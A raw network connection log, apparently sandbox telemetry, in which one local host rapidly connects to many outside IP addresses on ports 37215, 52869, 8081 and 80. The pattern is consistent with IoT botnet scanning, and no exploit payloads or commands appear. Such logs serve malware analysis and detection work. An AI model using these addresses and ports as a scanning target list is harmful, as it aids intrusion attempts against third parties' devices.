Jul 20, 2024 23:01:00.099411011 CEST	50563	37215	192.168.2.13	210.103.19.185
Jul 20, 2024 23:01:00.099411011 CEST	50563	37215	192.168.2.13	41.180.188.91
Jul 20, 2024 23:01:00.099411011 CEST	50563	37215	192.168.2.13	41.37.206.254
Jul 20, 2024 23:01:00.099411011 CEST	50563	37215	192.168.2.13	41.83.163.214
Jul 20, 2024 23:01:00.099411011 CEST	50563	37215	192.168.2.13	205.213.110.131
Jul 20, 2024 23:01:00.099411011 CEST	50563	37215	192.168.2.13	41.240.194.108
Jul 20, 2024 23:01:00.099411011 CEST	50563	37215	192.168.2.13	157.153.183.158
Jul 20, 2024 23:01:00.099411011 CEST	50563	37215	192.168.2.13	41.9.140.35
Jul 20, 2024 23:01:00.100023031 CEST	37215	50563	197.145.104.62	192.168.2.13
Jul 20, 2024 23:01:00.100069046 CEST	37215	50563	41.174.97.64	192.168.2.13
Jul 20, 2024 23:01:00.100097895 CEST	37215	50563	41.180.196.49	192.168.2.13
Jul 20, 2024 23:01:00.100127935 CEST	37215	50563	197.210.219.94	192.168.2.13
Jul 20, 2024 23:01:00.100164890 CEST	50563	37215	192.168.2.13	157.194.214.218
Jul 20, 2024 23:01:00.100164890 CEST	50563	37215	192.168.2.13	197.79.63.222
Jul 20, 2024 23:01:00.100655079 CEST	50563	37215	192.168.2.13	19.63.222.55
Jul 20, 2024 23:01:00.100655079 CEST	50563	37215	192.168.2.13	41.221.111.207
Jul 20, 2024 23:01:00.100694895 CEST	37215	50563	197.16.60.88	192.168.2.13
Jul 20, 2024 23:01:00.101042986 CEST	37215	50563	157.95.222.179	192.168.2.13
Jul 20, 2024 23:01:00.101104021 CEST	37215	50563	73.212.180.198	192.168.2.13
Jul 20, 2024 23:01:00.101475954 CEST	37215	50563	41.212.233.130	192.168.2.13
Jul 20, 2024 23:01:00.101615906 CEST	50563	37215	192.168.2.13	150.36.84.70
Jul 20, 2024 23:01:00.101615906 CEST	50563	37215	192.168.2.13	197.218.97.111
Jul 20, 2024 23:01:00.101615906 CEST	50563	37215	192.168.2.13	41.59.223.239
Jul 20, 2024 23:01:00.101615906 CEST	50563	37215	192.168.2.13	197.53.114.4
Jul 20, 2024 23:01:00.101615906 CEST	50563	37215	192.168.2.13	197.83.107.218
Jul 20, 2024 23:01:00.101615906 CEST	50563	37215	192.168.2.13	192.136.158.102
Jul 20, 2024 23:01:00.102087021 CEST	50563	37215	192.168.2.13	41.252.153.174
Jul 20, 2024 23:01:00.102087021 CEST	50563	37215	192.168.2.13	41.49.78.43
Jul 20, 2024 23:01:00.102087021 CEST	50563	37215	192.168.2.13	171.62.158.14
Jul 20, 2024 23:01:00.102087021 CEST	50563	37215	192.168.2.13	157.159.38.106
Jul 20, 2024 23:01:00.102087021 CEST	50563	37215	192.168.2.13	197.101.194.182
Jul 20, 2024 23:01:00.102087021 CEST	50563	37215	192.168.2.13	197.7.228.103
Jul 20, 2024 23:01:00.102087021 CEST	50563	37215	192.168.2.13	197.221.120.154
Jul 20, 2024 23:01:00.102087021 CEST	50563	37215	192.168.2.13	197.130.192.147
Jul 20, 2024 23:01:00.102179050 CEST	37215	50563	157.180.142.161	192.168.2.13
Jul 20, 2024 23:01:00.102415085 CEST	50563	37215	192.168.2.13	197.179.182.47
Jul 20, 2024 23:01:00.102416039 CEST	50563	37215	192.168.2.13	41.142.181.62
Jul 20, 2024 23:01:00.102416039 CEST	50563	37215	192.168.2.13	197.227.153.203
Jul 20, 2024 23:01:00.102416039 CEST	50563	37215	192.168.2.13	197.7.205.229
Jul 20, 2024 23:01:00.102416039 CEST	50563	37215	192.168.2.13	157.188.43.182
Jul 20, 2024 23:01:00.102416039 CEST	50563	37215	192.168.2.13	197.49.222.44
Jul 20, 2024 23:01:00.102416039 CEST	50563	37215	192.168.2.13	41.167.217.21
Jul 20, 2024 23:01:00.102416039 CEST	50563	37215	192.168.2.13	197.17.10.227
Jul 20, 2024 23:01:00.103117943 CEST	37215	50563	157.15.187.56	192.168.2.13
Jul 20, 2024 23:01:00.103421926 CEST	50563	37215	192.168.2.13	41.155.18.221
Jul 20, 2024 23:01:00.103421926 CEST	50563	37215	192.168.2.13	197.22.144.135
Jul 20, 2024 23:01:00.103421926 CEST	50563	37215	192.168.2.13	157.243.126.145
Jul 20, 2024 23:01:00.103423119 CEST	50563	37215	192.168.2.13	157.71.160.191
Jul 20, 2024 23:01:00.103512049 CEST	37215	50563	178.215.23.149	192.168.2.13
Jul 20, 2024 23:01:00.103693962 CEST	37215	50563	179.43.198.214	192.168.2.13
Jul 20, 2024 23:01:00.104048014 CEST	37215	50563	41.217.147.78	192.168.2.13
Jul 20, 2024 23:01:00.104083061 CEST	37215	50563	157.191.77.209	192.168.2.13
Jul 20, 2024 23:01:00.104302883 CEST	37215	50563	70.239.125.84	192.168.2.13
Jul 20, 2024 23:01:00.104492903 CEST	50563	37215	192.168.2.13	41.130.95.204
Jul 20, 2024 23:01:00.104492903 CEST	50563	37215	192.168.2.13	197.67.197.224
Jul 20, 2024 23:01:00.104492903 CEST	50563	37215	192.168.2.13	197.236.227.173
Jul 20, 2024 23:01:00.104492903 CEST	50563	37215	192.168.2.13	197.193.80.89
Jul 20, 2024 23:01:00.104492903 CEST	50563	37215	192.168.2.13	41.17.157.164
Jul 20, 2024 23:01:00.104492903 CEST	50563	37215	192.168.2.13	197.243.136.112
Jul 20, 2024 23:01:00.104492903 CEST	50563	37215	192.168.2.13	41.154.239.57
Jul 20, 2024 23:01:00.104492903 CEST	50563	37215	192.168.2.13	183.67.166.218
Jul 20, 2024 23:01:00.104804993 CEST	50563	37215	192.168.2.13	41.248.214.0
Jul 20, 2024 23:01:00.104804993 CEST	50563	37215	192.168.2.13	41.251.18.109
Jul 20, 2024 23:01:00.104804993 CEST	50563	37215	192.168.2.13	41.24.107.244
Jul 20, 2024 23:01:00.104805946 CEST	50563	37215	192.168.2.13	41.174.97.64
Jul 20, 2024 23:01:00.104805946 CEST	50563	37215	192.168.2.13	41.180.196.49
Jul 20, 2024 23:01:00.104805946 CEST	50563	37215	192.168.2.13	197.210.219.94
Jul 20, 2024 23:01:00.104805946 CEST	50563	37215	192.168.2.13	197.16.60.88
Jul 20, 2024 23:01:00.104805946 CEST	50563	37215	192.168.2.13	73.212.180.198
Jul 20, 2024 23:01:00.106139898 CEST	50563	37215	192.168.2.13	41.158.187.102
Jul 20, 2024 23:01:00.106141090 CEST	50563	37215	192.168.2.13	41.90.120.141
Jul 20, 2024 23:01:00.106141090 CEST	50563	37215	192.168.2.13	197.80.205.190
Jul 20, 2024 23:01:00.106141090 CEST	50563	37215	192.168.2.13	41.24.241.194
Jul 20, 2024 23:01:00.106141090 CEST	50563	37215	192.168.2.13	41.81.13.239
Jul 20, 2024 23:01:00.106141090 CEST	50563	37215	192.168.2.13	41.108.193.243
Jul 20, 2024 23:01:00.106141090 CEST	50563	37215	192.168.2.13	62.21.175.88
Jul 20, 2024 23:01:00.106141090 CEST	50563	37215	192.168.2.13	41.35.182.26
Jul 20, 2024 23:01:00.106442928 CEST	50563	37215	192.168.2.13	157.180.142.161
Jul 20, 2024 23:01:00.106442928 CEST	50563	37215	192.168.2.13	157.15.187.56
Jul 20, 2024 23:01:00.106442928 CEST	50563	37215	192.168.2.13	178.215.23.149
Jul 20, 2024 23:01:00.106442928 CEST	50563	37215	192.168.2.13	179.43.198.214
Jul 20, 2024 23:01:00.106442928 CEST	50563	37215	192.168.2.13	41.217.147.78
Jul 20, 2024 23:01:00.106442928 CEST	50563	37215	192.168.2.13	157.191.77.209
Jul 20, 2024 23:01:00.106442928 CEST	50563	37215	192.168.2.13	70.239.125.84
Jul 20, 2024 23:01:00.107738972 CEST	50563	37215	192.168.2.13	197.145.104.62
Jul 20, 2024 23:01:00.107738972 CEST	50563	37215	192.168.2.13	157.95.222.179
Jul 20, 2024 23:01:00.107738972 CEST	50563	37215	192.168.2.13	41.212.233.130
Jul 20, 2024 23:01:00.108045101 CEST	58002	80	192.168.2.13	88.28.77.235
Jul 20, 2024 23:01:00.108808994 CEST	59784	52869	192.168.2.13	193.107.65.164
Jul 20, 2024 23:01:00.109009981 CEST	43586	8081	192.168.2.13	86.112.206.20
Jul 20, 2024 23:01:00.113157988 CEST	80	58002	88.28.77.235	192.168.2.13
Jul 20, 2024 23:01:00.113225937 CEST	58002	80	192.168.2.13	88.28.77.235
Jul 20, 2024 23:01:00.113715887 CEST	52869	59784	193.107.65.164	192.168.2.13
Jul 20, 2024 23:01:00.113879919 CEST	59784	52869	192.168.2.13	193.107.65.164
Jul 20, 2024 23:01:00.114090919 CEST	57134	80	192.168.2.13	88.251.60.32
Jul 20, 2024 23:01:00.114375114 CEST	8081	43586	86.112.206.20	192.168.2.13
Jul 20, 2024 23:01:00.114491940 CEST	43586	8081	192.168.2.13	86.112.206.20
Jul 20, 2024 23:01:00.114816904 CEST	46358	52869	192.168.2.13	13.164.169.253
Jul 20, 2024 23:01:00.115417957 CEST	49106	8081	192.168.2.13	14.11.59.216
Jul 20, 2024 23:01:00.119906902 CEST	80	57134	88.251.60.32	192.168.2.13
Jul 20, 2024 23:01:00.119937897 CEST	52869	46358	13.164.169.253	192.168.2.13
Jul 20, 2024 23:01:00.120001078 CEST	46358	52869	192.168.2.13	13.164.169.253
Jul 20, 2024 23:01:00.120095015 CEST	57134	80	192.168.2.13	88.251.60.32
Jul 20, 2024 23:01:00.120820045 CEST	56836	8081	192.168.2.13	210.165.42.21
Jul 20, 2024 23:01:00.121093035 CEST	38690	80	192.168.2.13	88.92.108.28
Jul 20, 2024 23:01:00.121126890 CEST	8081	49106	14.11.59.216	192.168.2.13
Jul 20, 2024 23:01:00.121227026 CEST	49106	8081	192.168.2.13	14.11.59.216
Jul 20, 2024 23:01:00.121507883 CEST	59034	52869	192.168.2.13	170.113.9.186
Jul 20, 2024 23:01:00.125852108 CEST	8081	56836	210.165.42.21	192.168.2.13
Jul 20, 2024 23:01:00.125900030 CEST	56836	8081	192.168.2.13	210.165.42.21
Jul 20, 2024 23:01:00.126108885 CEST	80	38690	88.92.108.28	192.168.2.13
Jul 20, 2024 23:01:00.126249075 CEST	38690	80	192.168.2.13	88.92.108.28
Jul 20, 2024 23:01:00.126900911 CEST	52869	59034	170.113.9.186	192.168.2.13
Jul 20, 2024 23:01:00.126946926 CEST	59034	52869	192.168.2.13	170.113.9.186
Jul 20, 2024 23:01:00.127413988 CEST	55372	8081	192.168.2.13	173.208.77.243
Jul 20, 2024 23:01:00.128104925 CEST	57236	80	192.168.2.13	88.155.246.34
Jul 20, 2024 23:01:00.129601002 CEST	46442	52869	192.168.2.13	80.226.91.150
Jul 20, 2024 23:01:00.132702112 CEST	8081	55372	173.208.77.243	192.168.2.13
Jul 20, 2024 23:01:00.132791042 CEST	55372	8081	192.168.2.13	173.208.77.243
Jul 20, 2024 23:01:00.133297920 CEST	80	57236	88.155.246.34	192.168.2.13
Jul 20, 2024 23:01:00.133344889 CEST	57236	80	192.168.2.13	88.155.246.34
Jul 20, 2024 23:01:00.134031057 CEST	39636	8081	192.168.2.13	178.9.35.137
Jul 20, 2024 23:01:00.134654999 CEST	50314	80	192.168.2.13	88.201.141.17
Jul 20, 2024 23:01:00.134977102 CEST	52869	46442	80.226.91.150	192.168.2.13
Jul 20, 2024 23:01:00.135164976 CEST	46442	52869	192.168.2.13	80.226.91.150
Jul 20, 2024 23:01:00.135907888 CEST	46976	52869	192.168.2.13	125.165.157.181
Jul 20, 2024 23:01:00.139872074 CEST	8081	39636	178.9.35.137	192.168.2.13
Jul 20, 2024 23:01:00.140055895 CEST	39636	8081	192.168.2.13	178.9.35.137
Jul 20, 2024 23:01:00.140099049 CEST	80	50314	88.201.141.17	192.168.2.13
Jul 20, 2024 23:01:00.140146971 CEST	50314	80	192.168.2.13	88.201.141.17
Jul 20, 2024 23:01:00.141005993 CEST	35980	8081	192.168.2.13	130.219.171.86
Jul 20, 2024 23:01:00.141228914 CEST	52869	46976	125.165.157.181	192.168.2.13
Jul 20, 2024 23:01:00.141315937 CEST	47496	80	192.168.2.13	88.131.43.170
Jul 20, 2024 23:01:00.141438961 CEST	46976	52869	192.168.2.13	125.165.157.181
Jul 20, 2024 23:01:00.142035007 CEST	40426	52869	192.168.2.13	207.32.229.66
Jul 20, 2024 23:01:00.145900011 CEST	51586	8081	192.168.2.13	66.77.188.156
Jul 20, 2024 23:01:00.145976067 CEST	8081	35980	130.219.171.86	192.168.2.13
Jul 20, 2024 23:01:00.146032095 CEST	35980	8081	192.168.2.13	130.219.171.86
Jul 20, 2024 23:01:00.146492958 CEST	80	47496	88.131.43.170	192.168.2.13
Jul 20, 2024 23:01:00.146922112 CEST	47496	80	192.168.2.13	88.131.43.170
Jul 20, 2024 23:01:00.147238970 CEST	52869	40426	207.32.229.66	192.168.2.13
Jul 20, 2024 23:01:00.147286892 CEST	40426	52869	192.168.2.13	207.32.229.66
Jul 20, 2024 23:01:00.147780895 CEST	57146	80	192.168.2.13	88.208.93.106
Jul 20, 2024 23:01:00.148578882 CEST	59000	52869	192.168.2.13	188.226.47.52
Jul 20, 2024 23:01:00.150875092 CEST	8081	51586	66.77.188.156	192.168.2.13
Jul 20, 2024 23:01:00.150916100 CEST	51586	8081	192.168.2.13	66.77.188.156
Jul 20, 2024 23:01:00.151812077 CEST	55182	8081	192.168.2.13	9.29.133.23
Jul 20, 2024 23:01:00.153024912 CEST	80	57146	88.208.93.106	192.168.2.13
Jul 20, 2024 23:01:00.153075933 CEST	57146	80	192.168.2.13	88.208.93.106
Jul 20, 2024 23:01:00.153937101 CEST	52869	59000	188.226.47.52	192.168.2.13
Jul 20, 2024 23:01:00.153985023 CEST	59000	52869	192.168.2.13	188.226.47.52
Jul 20, 2024 23:01:00.154031038 CEST	37580	80	192.168.2.13	88.150.117.231
Jul 20, 2024 23:01:00.154469967 CEST	57152	52869	192.168.2.13	209.200.229.61
Jul 20, 2024 23:01:00.156683922 CEST	60958	8081	192.168.2.13	88.12.234.69
Jul 20, 2024 23:01:00.156765938 CEST	8081	55182	9.29.133.23	192.168.2.13
Jul 20, 2024 23:01:00.156819105 CEST	55182	8081	192.168.2.13	9.29.133.23
Jul 20, 2024 23:01:00.159611940 CEST	80	37580	88.150.117.231	192.168.2.13
Jul 20, 2024 23:01:00.159786940 CEST	37580	80	192.168.2.13	88.150.117.231
Jul 20, 2024 23:01:00.160162926 CEST	51126	80	192.168.2.13	88.155.204.21
Jul 20, 2024 23:01:00.160521030 CEST	52869	57152	209.200.229.61	192.168.2.13
Jul 20, 2024 23:01:00.160594940 CEST	57152	52869	192.168.2.13	209.200.229.61
Jul 20, 2024 23:01:00.160739899 CEST	60404	52869	192.168.2.13	119.150.77.161
Jul 20, 2024 23:01:00.162633896 CEST	8081	60958	88.12.234.69	192.168.2.13
Jul 20, 2024 23:01:00.162674904 CEST	60958	8081	192.168.2.13	88.12.234.69
Jul 20, 2024 23:01:00.163744926 CEST	59574	8081	192.168.2.13	183.41.184.24
Jul 20, 2024 23:01:00.165823936 CEST	80	51126	88.155.204.21	192.168.2.13
Jul 20, 2024 23:01:00.165884018 CEST	51126	80	192.168.2.13	88.155.204.21
Jul 20, 2024 23:01:00.165980101 CEST	52869	60404	119.150.77.161	192.168.2.13
Jul 20, 2024 23:01:00.166054964 CEST	60404	52869	192.168.2.13	119.150.77.161
Jul 20, 2024 23:01:00.168116093 CEST	59174	80	192.168.2.13	88.9.113.163
Jul 20, 2024 23:01:00.169157028 CEST	32812	52869	192.168.2.13	100.58.169.89
Jul 20, 2024 23:01:00.169399023 CEST	8081	59574	183.41.184.24	192.168.2.13
Jul 20, 2024 23:01:00.169470072 CEST	59574	8081	192.168.2.13	183.41.184.24
Jul 20, 2024 23:01:00.169573069 CEST	59802	8081	192.168.2.13	189.255.174.137
Jul 20, 2024 23:01:00.173131943 CEST	80	59174	88.9.113.163	192.168.2.13
Jul 20, 2024 23:01:00.173186064 CEST	59174	80	192.168.2.13	88.9.113.163
Jul 20, 2024 23:01:00.174057961 CEST	44628	80	192.168.2.13	88.244.245.204
Jul 20, 2024 23:01:00.174498081 CEST	52869	32812	100.58.169.89	192.168.2.13
Jul 20, 2024 23:01:00.174894094 CEST	60622	52869	192.168.2.13	199.170.141.174
Jul 20, 2024 23:01:00.174913883 CEST	32812	52869	192.168.2.13	100.58.169.89
Jul 20, 2024 23:01:00.174927950 CEST	8081	59802	189.255.174.137	192.168.2.13
Jul 20, 2024 23:01:00.175020933 CEST	59802	8081	192.168.2.13	189.255.174.137
Jul 20, 2024 23:01:00.175218105 CEST	57098	8081	192.168.2.13	160.246.149.90
Jul 20, 2024 23:01:00.179591894 CEST	80	44628	88.244.245.204	192.168.2.13
Jul 20, 2024 23:01:00.179754019 CEST	44628	80	192.168.2.13	88.244.245.204
Jul 20, 2024 23:01:00.180260897 CEST	52869	60622	199.170.141.174	192.168.2.13
Jul 20, 2024 23:01:00.180283070 CEST	8081	57098	160.246.149.90	192.168.2.13
Jul 20, 2024 23:01:00.180305004 CEST	60622	52869	192.168.2.13	199.170.141.174
Jul 20, 2024 23:01:00.180341005 CEST	57098	8081	192.168.2.13	160.246.149.90
Jul 20, 2024 23:01:00.180968046 CEST	45486	80	192.168.2.13	88.207.154.173
Jul 20, 2024 23:01:00.181982040 CEST	43384	52869	192.168.2.13	90.220.208.134
Jul 20, 2024 23:01:00.182285070 CEST	45800	8081	192.168.2.13	221.158.28.228
Jul 20, 2024 23:01:00.186044931 CEST	80	45486	88.207.154.173	192.168.2.13
Jul 20, 2024 23:01:00.186136007 CEST	45486	80	192.168.2.13	88.207.154.173
Jul 20, 2024 23:01:00.187170029 CEST	52869	43384	90.220.208.134	192.168.2.13
Jul 20, 2024 23:01:00.187236071 CEST	43384	52869	192.168.2.13	90.220.208.134
Jul 20, 2024 23:01:00.187453032 CEST	8081	45800	221.158.28.228	192.168.2.13
Jul 20, 2024 23:01:00.187491894 CEST	45800	8081	192.168.2.13	221.158.28.228
Jul 20, 2024 23:01:00.187737942 CEST	57816	80	192.168.2.13	88.211.132.181
Jul 20, 2024 23:01:00.188741922 CEST	44176	52869	192.168.2.13	38.49.123.120
Jul 20, 2024 23:01:00.189620972 CEST	39702	8081	192.168.2.13	211.150.198.165
Jul 20, 2024 23:01:00.192862988 CEST	80	57816	88.211.132.181	192.168.2.13
Jul 20, 2024 23:01:00.192924023 CEST	57816	80	192.168.2.13	88.211.132.181
Jul 20, 2024 23:01:00.194519997 CEST	52869	44176	38.49.123.120	192.168.2.13
Jul 20, 2024 23:01:00.194560051 CEST	44176	52869	192.168.2.13	38.49.123.120
Jul 20, 2024 23:01:00.194616079 CEST	8081	39702	211.150.198.165	192.168.2.13
Jul 20, 2024 23:01:00.194705963 CEST	39702	8081	192.168.2.13	211.150.198.165
Jul 20, 2024 23:01:00.194986105 CEST	35104	8081	192.168.2.13	70.115.97.135
Jul 20, 2024 23:01:00.195390940 CEST	50134	80	192.168.2.13	88.191.187.105
Jul 20, 2024 23:01:00.196000099 CEST	35790	52869	192.168.2.13	27.117.118.67
Jul 20, 2024 23:01:00.200265884 CEST	8081	35104	70.115.97.135	192.168.2.13
Jul 20, 2024 23:01:00.200329065 CEST	35104	8081	192.168.2.13	70.115.97.135
Jul 20, 2024 23:01:00.201097965 CEST	80	50134	88.191.187.105	192.168.2.13
Jul 20, 2024 23:01:00.201142073 CEST	50134	80	192.168.2.13	88.191.187.105
Jul 20, 2024 23:01:00.202538013 CEST	52869	35790	27.117.118.67	192.168.2.13
Jul 20, 2024 23:01:00.202588081 CEST	40082	8081	192.168.2.13	80.68.41.88
Jul 20, 2024 23:01:00.202756882 CEST	35790	52869	192.168.2.13	27.117.118.67
Jul 20, 2024 23:01:00.203027010 CEST	59964	80	192.168.2.13	88.149.54.132
Jul 20, 2024 23:01:00.204150915 CEST	50994	52869	192.168.2.13	211.159.248.236
Jul 20, 2024 23:01:00.207618952 CEST	8081	40082	80.68.41.88	192.168.2.13
Jul 20, 2024 23:01:00.207716942 CEST	40082	8081	192.168.2.13	80.68.41.88
Jul 20, 2024 23:01:00.207773924 CEST	60608	8081	192.168.2.13	4.17.149.227
Jul 20, 2024 23:01:00.208316088 CEST	80	59964	88.149.54.132	192.168.2.13
Jul 20, 2024 23:01:00.208389997 CEST	59964	80	192.168.2.13	88.149.54.132
Jul 20, 2024 23:01:00.209434986 CEST	52869	50994	211.159.248.236	192.168.2.13
Jul 20, 2024 23:01:00.209467888 CEST	50994	52869	192.168.2.13	211.159.248.236
Jul 20, 2024 23:01:00.209814072 CEST	37436	80	192.168.2.13	88.56.164.111
Jul 20, 2024 23:01:00.210302114 CEST	40556	52869	192.168.2.13	35.117.84.161
Jul 20, 2024 23:01:00.212690115 CEST	8081	60608	4.17.149.227	192.168.2.13
Jul 20, 2024 23:01:00.212829113 CEST	60608	8081	192.168.2.13	4.17.149.227
Jul 20, 2024 23:01:00.213221073 CEST	46290	8081	192.168.2.13	134.203.83.23
Jul 20, 2024 23:01:00.214951038 CEST	80	37436	88.56.164.111	192.168.2.13
Jul 20, 2024 23:01:00.215038061 CEST	37436	80	192.168.2.13	88.56.164.111
Jul 20, 2024 23:01:00.215285063 CEST	52869	40556	35.117.84.161	192.168.2.13
Jul 20, 2024 23:01:00.215295076 CEST	44162	80	192.168.2.13	88.82.169.115
Jul 20, 2024 23:01:00.215331078 CEST	40556	52869	192.168.2.13	35.117.84.161
Jul 20, 2024 23:01:00.215945005 CEST	33970	52869	192.168.2.13	138.25.247.16
Jul 20, 2024 23:01:00.218313932 CEST	8081	46290	134.203.83.23	192.168.2.13
Jul 20, 2024 23:01:00.218317986 CEST	44512	8081	192.168.2.13	197.205.114.143
Jul 20, 2024 23:01:00.218377113 CEST	46290	8081	192.168.2.13	134.203.83.23
Jul 20, 2024 23:01:00.220276117 CEST	80	44162	88.82.169.115	192.168.2.13
Jul 20, 2024 23:01:00.220396996 CEST	44162	80	192.168.2.13	88.82.169.115
Jul 20, 2024 23:01:00.220810890 CEST	52869	33970	138.25.247.16	192.168.2.13
Jul 20, 2024 23:01:00.220859051 CEST	33970	52869	192.168.2.13	138.25.247.16
Jul 20, 2024 23:01:00.222009897 CEST	39922	80	192.168.2.13	88.221.77.78
Jul 20, 2024 23:01:00.222774029 CEST	59404	52869	192.168.2.13	53.242.30.163
Jul 20, 2024 23:01:00.223375082 CEST	8081	44512	197.205.114.143	192.168.2.13
Jul 20, 2024 23:01:00.223424911 CEST	44512	8081	192.168.2.13	197.205.114.143
Jul 20, 2024 23:01:00.225485086 CEST	44656	8081	192.168.2.13	133.44.79.146
Jul 20, 2024 23:01:00.227113962 CEST	80	39922	88.221.77.78	192.168.2.13
Jul 20, 2024 23:01:00.227169037 CEST	39922	80	192.168.2.13	88.221.77.78
Jul 20, 2024 23:01:00.228121996 CEST	52869	59404	53.242.30.163	192.168.2.13
Jul 20, 2024 23:01:00.228194952 CEST	59404	52869	192.168.2.13	53.242.30.163
Jul 20, 2024 23:01:00.229497910 CEST	41430	80	192.168.2.13	88.92.246.25
Jul 20, 2024 23:01:00.230424881 CEST	59122	52869	192.168.2.13	129.209.221.62
Jul 20, 2024 23:01:00.230916977 CEST	8081	44656	133.44.79.146	192.168.2.13
Jul 20, 2024 23:01:00.230968952 CEST	44656	8081	192.168.2.13	133.44.79.146
Jul 20, 2024 23:01:00.231043100 CEST	48228	8081	192.168.2.13	62.0.54.232
Jul 20, 2024 23:01:00.234611988 CEST	80	41430	88.92.246.25	192.168.2.13
Jul 20, 2024 23:01:00.234654903 CEST	41430	80	192.168.2.13	88.92.246.25
Jul 20, 2024 23:01:00.235642910 CEST	60902	80	192.168.2.13	88.14.202.89
Jul 20, 2024 23:01:00.235769033 CEST	52869	59122	129.209.221.62	192.168.2.13
Jul 20, 2024 23:01:00.235842943 CEST	59122	52869	192.168.2.13	129.209.221.62
Jul 20, 2024 23:01:00.236262083 CEST	8081	48228	62.0.54.232	192.168.2.13
Jul 20, 2024 23:01:00.240607023 CEST	80	60902	88.14.202.89	192.168.2.13
Jul 20, 2024 23:01:00.246368885 CEST	51860	52869	192.168.2.13	81.71.223.221
Jul 20, 2024 23:01:00.249412060 CEST	60902	80	192.168.2.13	88.14.202.89
Jul 20, 2024 23:01:00.252473116 CEST	52869	51860	81.71.223.221	192.168.2.13
Jul 20, 2024 23:01:00.256337881 CEST	33752	80	192.168.2.13	88.124.176.110
Jul 20, 2024 23:01:00.256654024 CEST	48228	8081	192.168.2.13	62.0.54.232
Jul 20, 2024 23:01:00.257190943 CEST	51860	52869	192.168.2.13	81.71.223.221
Jul 20, 2024 23:01:00.257432938 CEST	51914	52869	192.168.2.13	118.95.117.249
Jul 20, 2024 23:01:00.257792950 CEST	46780	8081	192.168.2.13	118.206.223.154
Jul 20, 2024 23:01:00.259356976 CEST	56330	8081	192.168.2.13	125.215.67.139
Jul 20, 2024 23:01:00.262339115 CEST	40454	80	192.168.2.13	88.26.20.160
Jul 20, 2024 23:01:00.262666941 CEST	42938	52869	192.168.2.13	8.104.228.104
Jul 20, 2024 23:01:00.267115116 CEST	80	33752	88.124.176.110	192.168.2.13
Jul 20, 2024 23:01:00.267167091 CEST	52869	51914	118.95.117.249	192.168.2.13
Jul 20, 2024 23:01:00.267198086 CEST	8081	46780	118.206.223.154	192.168.2.13
Jul 20, 2024 23:01:00.267227888 CEST	8081	56330	125.215.67.139	192.168.2.13
Jul 20, 2024 23:01:00.267924070 CEST	80	40454	88.26.20.160	192.168.2.13
Jul 20, 2024 23:01:00.268012047 CEST	52869	42938	8.104.228.104	192.168.2.13
Jul 20, 2024 23:01:00.270896912 CEST	33752	80	192.168.2.13	88.124.176.110
Jul 20, 2024 23:01:00.273333073 CEST	46780	8081	192.168.2.13	118.206.223.154
Jul 20, 2024 23:01:00.279083014 CEST	56330	8081	192.168.2.13	125.215.67.139
Jul 20, 2024 23:01:00.283139944 CEST	42938	52869	192.168.2.13	8.104.228.104
Jul 20, 2024 23:01:00.283922911 CEST	51914	52869	192.168.2.13	118.95.117.249
Jul 20, 2024 23:01:00.283922911 CEST	40454	80	192.168.2.13	88.26.20.160
Jul 20, 2024 23:01:00.320653915 CEST	36080	52869	192.168.2.13	175.10.79.147
Jul 20, 2024 23:01:00.321383953 CEST	46322	80	192.168.2.13	88.191.61.195
Jul 20, 2024 23:01:00.321497917 CEST	49436	8081	192.168.2.13	180.124.34.41
Jul 20, 2024 23:01:00.325634003 CEST	55270	52869	192.168.2.13	121.35.219.146
Jul 20, 2024 23:01:00.325711966 CEST	52869	36080	175.10.79.147	192.168.2.13
Jul 20, 2024 23:01:00.325869083 CEST	36080	52869	192.168.2.13	175.10.79.147
Jul 20, 2024 23:01:00.325989008 CEST	56608	80	192.168.2.13	88.134.250.2
Jul 20, 2024 23:01:00.326591015 CEST	8081	49436	180.124.34.41	192.168.2.13
Jul 20, 2024 23:01:00.326638937 CEST	49436	8081	192.168.2.13	180.124.34.41
Jul 20, 2024 23:01:00.326862097 CEST	49266	8081	192.168.2.13	114.77.67.205
Jul 20, 2024 23:01:00.330435038 CEST	80	46322	88.191.61.195	192.168.2.13
Jul 20, 2024 23:01:00.330526114 CEST	35354	52869	192.168.2.13	120.120.202.208
Jul 20, 2024 23:01:00.330537081 CEST	46322	80	192.168.2.13	88.191.61.195
Jul 20, 2024 23:01:00.331954956 CEST	52869	55270	121.35.219.146	192.168.2.13
Jul 20, 2024 23:01:00.332041025 CEST	55270	52869	192.168.2.13	121.35.219.146
Jul 20, 2024 23:01:00.332384109 CEST	56754	80	192.168.2.13	88.80.198.142
Jul 20, 2024 23:01:00.332747936 CEST	80	56608	88.134.250.2	192.168.2.13
Jul 20, 2024 23:01:00.332820892 CEST	56608	80	192.168.2.13	88.134.250.2
Jul 20, 2024 23:01:00.332873106 CEST	43370	8081	192.168.2.13	1.200.179.149
Jul 20, 2024 23:01:00.333547115 CEST	8081	49266	114.77.67.205	192.168.2.13
Jul 20, 2024 23:01:00.333723068 CEST	49266	8081	192.168.2.13	114.77.67.205
Jul 20, 2024 23:01:00.336596012 CEST	36730	52869	192.168.2.13	69.82.73.167
Jul 20, 2024 23:01:00.337848902 CEST	52869	35354	120.120.202.208	192.168.2.13
Jul 20, 2024 23:01:00.338634968 CEST	80	56754	88.80.198.142	192.168.2.13
Jul 20, 2024 23:01:00.338959932 CEST	8081	43370	1.200.179.149	192.168.2.13
Jul 20, 2024 23:01:00.342998028 CEST	52869	36730	69.82.73.167	192.168.2.13
Jul 20, 2024 23:01:00.347632885 CEST	35354	52869	192.168.2.13	120.120.202.208
Jul 20, 2024 23:01:00.347634077 CEST	43370	8081	192.168.2.13	1.200.179.149
Jul 20, 2024 23:01:00.360111952 CEST	36730	52869	192.168.2.13	69.82.73.167
Jul 20, 2024 23:01:00.365725994 CEST	56754	80	192.168.2.13	88.80.198.142
Jul 20, 2024 23:01:00.389200926 CEST	42300	8081	192.168.2.13	74.74.185.154
Jul 20, 2024 23:01:00.389909983 CEST	38480	80	192.168.2.13	88.127.108.167
Jul 20, 2024 23:01:00.392307043 CEST	57552	52869	192.168.2.13	147.164.232.161
Jul 20, 2024 23:01:00.394098997 CEST	8081	42300	74.74.185.154	192.168.2.13
Jul 20, 2024 23:01:00.394227028 CEST	42300	8081	192.168.2.13	74.74.185.154
Jul 20, 2024 23:01:00.394462109 CEST	59952	8081	192.168.2.13	60.80.104.64
Jul 20, 2024 23:01:00.394953966 CEST	80	38480	88.127.108.167	192.168.2.13
Jul 20, 2024 23:01:00.395035028 CEST	38480	80	192.168.2.13	88.127.108.167
Jul 20, 2024 23:01:00.395386934 CEST	36808	80	192.168.2.13	88.191.85.56
